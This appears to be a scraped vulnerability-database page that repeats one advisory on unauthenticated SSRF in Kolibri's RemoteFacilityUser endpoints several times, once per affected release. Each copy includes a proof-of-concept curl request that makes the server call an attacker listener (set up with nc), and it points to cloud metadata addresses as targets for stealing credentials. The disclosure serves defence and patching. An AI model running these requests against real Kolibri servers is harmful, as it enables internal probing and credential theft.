Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 19, 2020

0.14.4rc1 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 16, 2020

0.14.3 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 19, 2020

0.14.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 18, 2020

0.14.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
